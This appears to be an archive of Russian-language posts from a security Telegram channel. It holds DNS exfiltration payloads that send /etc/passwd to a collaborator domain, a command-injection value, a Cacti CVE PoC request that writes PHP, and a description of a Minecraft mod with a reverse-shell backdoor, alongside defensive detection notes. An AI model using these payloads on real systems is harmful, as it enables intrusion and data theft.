ru
Feedback
Fsecurity | HH

Fsecurity | HH

Открыть в Telegram
2 013
Подписчики
-224 часа
-57 дней
-1130 день
Архив постов
Repost from Pentest HaT
⚙️Онлайн инструменты для работы с JWT JSON Web Token - специальный формат токена, который позволяет безопасно(в идеале 😁) пе
⚙️Онлайн инструменты для работы с JWT JSON Web Token - специальный формат токена, который позволяет безопасно(в идеале 😁) передавать данные между клиентом и сервером. Состоит из трёх частей: заголовок, пейлоад и подпись ➡️Мой любимый - https://token.dev ➡️По классике - https://jwt.io ➡️Еще неплохой вариант ➡️Отдельно декодер для Flask Session Cookie Пример простейшей реализации на Python 🐍
import json
import hmac
import hashlib
import base64
import uuid

header = {"typ": "JWT", "alg": "HS256"}
payload = {"name": "exited3n", "isAdmin": True}
secret = str(uuid.uuid4())


def jwt_gen(header: dict, payload: dict, secret: str) -> bytes:
    jwt_parts = []
    json_header = json.dumps(header).encode()
    json_payload = json.dumps(payload).encode()
    jwt_parts.append(base64.urlsafe_b64encode(json_header))
    jwt_parts.append(base64.urlsafe_b64encode(json_payload))

    merge_payload_header = b'.'.join(jwt_parts)

    signature = hmac.new(secret.encode(), merge_payload_header, hashlib.sha256).digest()
    jwt_parts.append(base64.urlsafe_b64encode(signature))

    return b'.'.join(jwt_parts)

print(f'Secret: {secret}')
print(jwt_gen(header, payload, secret))
#jwt #token #flask #python ✈️ Pentest HaT

Встретился тут с ситуацией, когда есть RCE, но вытащить выводы команд можно было только через DNS'ку: name=val`ping -с 1 $(wh
+1
Встретился тут с ситуацией, когда есть RCE, но вытащить выводы команд можно было только через DNS'ку:

name=val`ping -с 1 $(whoami).collaborator`ue
Получение вывода root в поддомене, конечно, приятно, но хотелось что-то валиднее для PoC'а. Однако, нужно помнить:

Максимальная длина доменного имени, включая поддомены, составляет 253 символа. Однако каждый отдельный уровень домена не может превышать 63 символа.
Поэтому я тут чуть посидел, почитал статейки, сам что-то пописал на баше и получил 2 удобные нагрузки для использования: Получение части от вывода команды Логика работы: исполнение команды, обрезание её вывода до диапазона от 1 до 30 символа(далее меняете под себя), после чего это всё кодируется в base64 и отправляется в поддомене

`ping -c 1 $(id | cut -c1-30| base64 | tr -d '=').domain.com`
Чтение всего файла по частям Логика работы: файл читается построчно, если вся закодированная в base64 строка маленькая(40 символов), то отправляется DNS-запрос с base64 данными в поддомене(перед строкой добавляется L{номер_строки} и дальше уже идут base64 данные). Если строка длиннее, то она отправляется кусками с префиксом для удобства(L{номер_строки}P{какая_часть_от_base64_строки}D и потом данные)

bash -c 'border=40; domain=".collaborator"; delay=3; lineNumber=1; while IFS= read -r line; do encoded=$(echo -n "$line" | base64 | tr -d "="); parts=$(echo "$encoded" | fold -w "$border"); part=1; echo "$parts" | while read -r chunk; do if [ $(echo "$parts" | wc -l) -gt 1 ]; then nslookup "L${lineNumber}P${part}D${chunk}${domain}"; else nslookup "L${lineNumber}${chunk}${domain}"; fi; sleep "$delay"; part=$((part + 1)); done; lineNumber=$((lineNumber + 1)); done < /etc/passwd'
Данный bash я делал по ранее написанному python-коду:

import os, base64, time

border, domain, delay = 40, ".collaborator", 3

with open('/etc/passwd') as file:
    for lineNumber, line in enumerate(file, 1):
        encoded = base64.b64encode(line.strip().encode()).decode().replace('=', '')
        parts = [encoded[i:i+border] for i in range(0, len(encoded), border)]

        for part, chunk in enumerate(parts, 1):
            os.system(f'nslookup "L{lineNumber}{f"P{part}D" if len(parts) > 1 else ""}{chunk}{domain}"')
            time.sleep(delay)
Также попутно хочу поделиться полезными ссылками по этой теме: - https://notsosecure.com/out-band-exploitation-oob-cheatsheet - https://github.com/dhmosfunk/DNSEXFIL - https://gist.github.com/Spix0r/6b38a02be0409ba3679d71c30a6db9a9 P.S. Если base64 не катит, то просто поменяйте на hex

Открылся бесплатный набор в 🎓 PFS Academy! Успевайте! Все на нашем Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈

На прошлой неделе пошумел выход нового скрипта psexecsvc.py, на волне слоупоков давайте разбираться что там интересного. Как ранее уже писал, psexec.py использует под капотом библиотеку RemCom и поднимает ряд пайпов (RemCom*) на целевой машине. С ним беда в том, что сам бинарь детектируется всеми, кому не лень и и использует пайпы (их всего 4), которые сами по себе детектируются тем же Sysmon с конфигом от SwiftOnSecurity. Сам бинарь можно изменить, чтобы сбить сигнатуры. Можно имена пайпов изменить и избежать типового детекта, но все равно где-то можно спалиться, хотя бы по тому же поведенческому анализу, поскольку выполняем какие-то команды системные от недавно загруженного бинаря. В свою очередь psexecsvc.py выходит на сцену с подписанным бинарём от SysInternals. Сама подпись очень сильно повышает доверие со стороны антивирусного средства, а используемый пайп по умолчанию (psexecsvc*) не детектируется через конфиг Sysmon. Скорее всего потому что его регулярно используют админы. При реализации детекта нужно учитывать следующее: 1) Имя пайпа зависит от имени загруженного файла. Так, если мы загрузим файл с именем "beaver.exe", имя пайпа будет иметь уже префикс beaver* 2) Имя сервиса (PSEXECSVC) может быть изменено 3) Если вы опираетесь на детект создания сервисов через пайп svcctl, то зря - это можно сделать через RPC-TCP, там у вас фильтры не настроены, скорее всего 4) Сам файл не может быть изменён, иначе будет поломана подпись. Соответственно можно опираться на хеш-суммы файла, не зря же их Sysmon собирает. Ищем в событиях Process Created хеши MD5=5CB94F11459DA45D647D888EF4438B5B,SHA256=714D90445775684F61E4589CA6868077A72F733B857B94C307397877A350B46A,IMPHASH=463E73EC0F70B68EE0EB83A0DF4A5698 5) Так же в этом скрипте используется устаревшая версия PSEXECSVC - 1.9. Используется именно она, потому что в ней трафик летает незашифрованный и удалось восстановить структуру служебных сообщений для общения. Соответственно если у вас есть решения на сети, то можно накатить правило на обнаружение таких пакетов, а еще заодно собирать имя скомпрометированной учетной записи (передаётся в открытом виде). Больше деталей в источнике, сама статья от авторов скрипта: https://sensepost.com/blog/2025/psexecing-the-right-way-and-why-zero-trust-is-mandatory/ #psexec #impacket

Repost from APT
⚙️ Wazuh — Unsafe Deserialization RCE (CVE-2025-24016) An unsafe deserialization vulnerability in Wazuh servers allows remote
⚙️ Wazuh — Unsafe Deserialization RCE (CVE-2025-24016) An unsafe deserialization vulnerability in Wazuh servers allows remote code execution through unsanitized dictionary injection in DAPI requests/responses. If an attacker injects an unsanitized dictionary into a DAPI request or response, they can craft an unhandled exception, allowing arbitrary Python code execution. 🔗 Source: https://github.com/0xjessie21/CVE-2025-24016 #wazuh #deserialization #rce #cve

Repost from Pentest HaT
⚙️ Cacti CVE-2025-24367 Arbitrary File Creation leading to RCE Позволяет аутентифицированному пользователю злоупотребить функ
⚙️ Cacti CVE-2025-24367 Arbitrary File Creation leading to RCE Позволяет аутентифицированному пользователю злоупотребить функциями создания графов и шаблонов графов для записи произвольных PHP-скриптов в корень сайта PoC:
POST http://192.168.178.78/cacti/graph_templates.php?header=false HTTP/1.1
host: 192.168.178.78
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
content-length: 804
Origin: http://192.168.178.78
Connection: keep-alive
Referer: http://192.168.178.78/cacti/graph_templates.php?action=template_edit&id=297&csrf_timeout=true&csrf_timeout=true
Cookie: CactiDateTime=Fri Jan 03 2025 14:03:51 GMT+0000 (Greenwich Mean Time); CactiTimeZone=0; Cacti=r378gdiav394djct96o26mliud; cacti_remembers=1%2C0%2C1ac46cea6e1f0225f6e52320b4d734503fac5215a76879b3cb2c939d5cc56c49
Priority: u=0

__csrf_magic=sid%3A3363ef9d47d62372302b4941b790e92f5f749d9c%2C1735913031&name=PING+-+Advanced+Ping&graph_template_id=297&graph_template_graph_id=297&save_component_template=1&title=%7Chost_description%7C+-+Advanced+Ping&vertical_label=milliseconds&image_format_id=3&height=200&width=700&base_value=1000&slope_mode=on&auto_scale_opts=1&upper_limit=10&lower_limit=0&unit_value=&unit_exponent_value=1&unit_length=&right_axis=&right_axis_label=XXX%0Acreate+my.rrd+--step+300+DS%3Atemp%3AGAUGE%3A600%3A-273%3A5000+RRA%3AAVERAGE%3A0.5%3A1%3A1200%0Agraph+xxx2.php+-s+now+-a+CSV+DEF%3Aout%3Dmy.rrd%3Atemp%3AAVERAGE+LINE1%3Aout%3A%3C%3F%3Dphpinfo%28%29%3B%3F%3E%0A&right_axis_format=0&right_axis_formatter=0&left_axis_formatter=0&tab_width=30&legend_position=0&legend_direction=0&rrdtool_version=1.7.2&action=save
🖥 Summary #web #rce #cacti ✈️ Pentest HaT

Repost from AP Security
#web #pentest IDOR Forge IDOR Forge - это мощный и универсальный инструмент, предназначенный для обнаружения уязвимостей Insecure Direct Object Reference (IDOR) в веб-приложениях. Уязвимости IDOR возникают, когда приложение раскрывает прямые ссылки на внутренние объекты (например, ключи баз данных, пути к файлам) без надлежащей проверки авторизации, что позволяет злоумышленникам получить несанкционированный доступ к данным. Этот инструмент автоматизирует процесс выявления таких уязвимостей, динамически генерируя и тестируя полезную нагрузку, анализируя ответы и сообщая о потенциальных проблемах.

Открылся бесплатный набор в 🎓 PFS Academy! Успевайте! Все на нашем Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈

Repost from Adaptix Framework
Socks5 прокси отлично работает, видео 4К через туннель пропускает без каких-либо задержек) Но так как агент асинхронный, то с
Socks5 прокси отлично работает, видео 4К через туннель пропускает без каких-либо задержек) Но так как агент асинхронный, то сканирование через туннель больше чем в 4 потока может фолзить)

Repost from Похек
Ломаем ваши видеокарты: распаковка эксплойта для CVE-2024-0132 под NVIDIA Container Toolkit #nvidia #CVE@poxek #container В с
Ломаем ваши видеокарты: распаковка эксплойта для CVE-2024-0132 под NVIDIA Container Toolkit #nvidia #CVE@poxek #container В сентябре 2024 года компания WIZ обнаружила критическую уязвимость в системе безопасности, обозначенную как CVE-2024-0132, которая затрагивала все версии NVIDIA Container Toolkit. Уязвимость была устранена в NVIDIA Container Toolkit v1.16.2 и NVIDIA GPU Operator v24.6.2, однако технические детали раскрыты только 11 февраля 2024 года. В рамках нашей работы нам пришлось разобрать патч и проэксплуатировать эту уязвимость до выхода информации от авторов оригинальной уязвимости. P.s. респект команде Luntry ➡️Подробности 🌚 @poxek | 📺 YT | 📺 RT | 📺 VK | 🌚 Магазин мерча

Repost from ESCalator
C2 hunting: часть 2. Ищем серверы хакеров по внешним признакам 😁 В предыдущей части мы с вами поговорили о том, как расширит
+2
C2 hunting: часть 2. Ищем серверы хакеров по внешним признакам 😁 В предыдущей части мы с вами поговорили о том, как расширить знание об инфраструктуре хакеров, используя PDNS и Whois. Сегодня обсудим, как искать серверы хакеров не только когда они уже начали использовать свою инфраструктуру в атаках, но и в момент ее развертывания. Перед самой атакой хакеры, как правило, занимаются подготовкой инструментария и сетевой инфраструктуры. В моделях угроз этот этап обычно называется weaponization или resource development. Практически у любого ВПО в том или ином виде есть механизм коммуникации с C2. Сам C2 обладает рядом признаков, которые могут быть получены, если его просканировать или просто обратиться на конкретный порт, например 443. Так мы, скорее всего, получим параметры TLS-сертификата, параметры TLS-соединения, заголовки ответа сервера и содержимое веб-страницы. Соответственно, разбирая ВПО хакеров и анализируя их сетевую инфраструктуру, мы будем иметь представление об уникальных признаках, которые они используют на своих C2 для конкретного ВПО, что позволит нам в некоторых случаях обнаруживать их C2 в момент развертывания сетевой инфраструктуры для атаки и превентивно блокировать эти индикаторы на СЗИ. Список наиболее популярных признаков, которые можно использовать для идентификации С2: ✅ Параметры TLS-сертификата ✅ Параметры TLS-соединения (JA3, JA4, JARM и т. д.) ✅ Заголовки ответа от сервера ✅ Контент и title страницы ✅ Набор открытых портов ✅ Favicon Ограничить поиск всегда можно с помощью указания ASN, хостера или страны. Список сервисов, которые помогут вам искать С2 таким способом: ✅ Shodan ✅ Censys ✅ FOFA ✅ ZoomEye ✅ BinaryEdge ✅ Netlas ✅ ONYPHE ✅ Самописный сканер Руками искать по всем сервисам трудозатратно, но все же необходимо, так как каждый сервис может выдать разные результаты. Чтобы снизить затраты на ручной труд, нужна автоматизация. Мы у себя разработали систему SCANDAT, которая имеет внутренний поисковый синтаксис и автоматически генерирует поисковые правила под каждый сервис. 😠 На скриншотах 1–3 вы можете увидеть примеры запросов для обнаружения C2 для ВПО GoRed, которое использует группа ExCobalt. Кроме того, есть базовое опенсорс-решение для автоматизации запросов. В конечном итоге все идентифицированные C2 из нашей системы попадают в продукты компании, повышая уровень обнаружения угроз. 💡 Стоит отметить, что некоторые разработчики MaaS стараются противодействовать таким методам обнаружения. Например, с определенной версии Medusa Stealer ее разработчики убрали title, некоторый контент на странице и добавили генерацию случайных данных в TLS-сертификат, чтобы нельзя было идентифицировать панель управления стилером через популярные сервисы. Вы можете не только собирать такие серверы и отправлять их в фиды для СЗИ, но и писать эмуляторы сетевого протокола ВПО, чтобы со свежего С2 получить пейлоад или какой-либо модуль. Это позволит вам получить дополнительные индикаторы и атрибуционные признаки. #TI #C2 #tips #hunt #malware @ptescalator

Repost from REDtalk
😎 Привет! Сначала я хотел оформить этот материал в виде статьи, но думаю, поста будет достаточно. Я тут недавно заинтересовался темой доставки малварей через игры, в частности, через Minecraft, и прифигел от их количества. Думаю, не для кого не новость, что тем или иным образом возможно вставить вредоносный код внутрь исходного кода, например, невнимательным апрувом пул-реквеста, и он сохранится в последующих версиях, до момента обнаружения. Но в нашем случае всё гораздо легче. Вернемся к майнкрафту. Так уж получилось, что на самую продаваемую игру в мире сделано самое большое количество модов. А мы знаем, что чем популярнее платформа, тем больше внимания на нее обращают хацкеры. В интернете полно историй про взлом клиентов и серверов через Minecraft, я даже как-то делал пост на эту тему. Так вот, я решил создать 🔗 мод, который покажет неосведомленным пользователем, почему нехорошо качать модпаки со случайных источников. Сейчас в моде присутствует безобидный бекдур с реверс шеллом на 127.0.0.1 31337/tcp, а также чат-команда /reverseshell для создания шелла на заданный адрес. В будущем предполагается добавить побольше интересных нагрузок и красивый интерфейс внутри игры, но без импакта пользователю (если, конечно, он сам этого не захочетXD)

Открылся бесплатный набор в 🎓 PFS Academy! Успевайте! Все на нашем Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈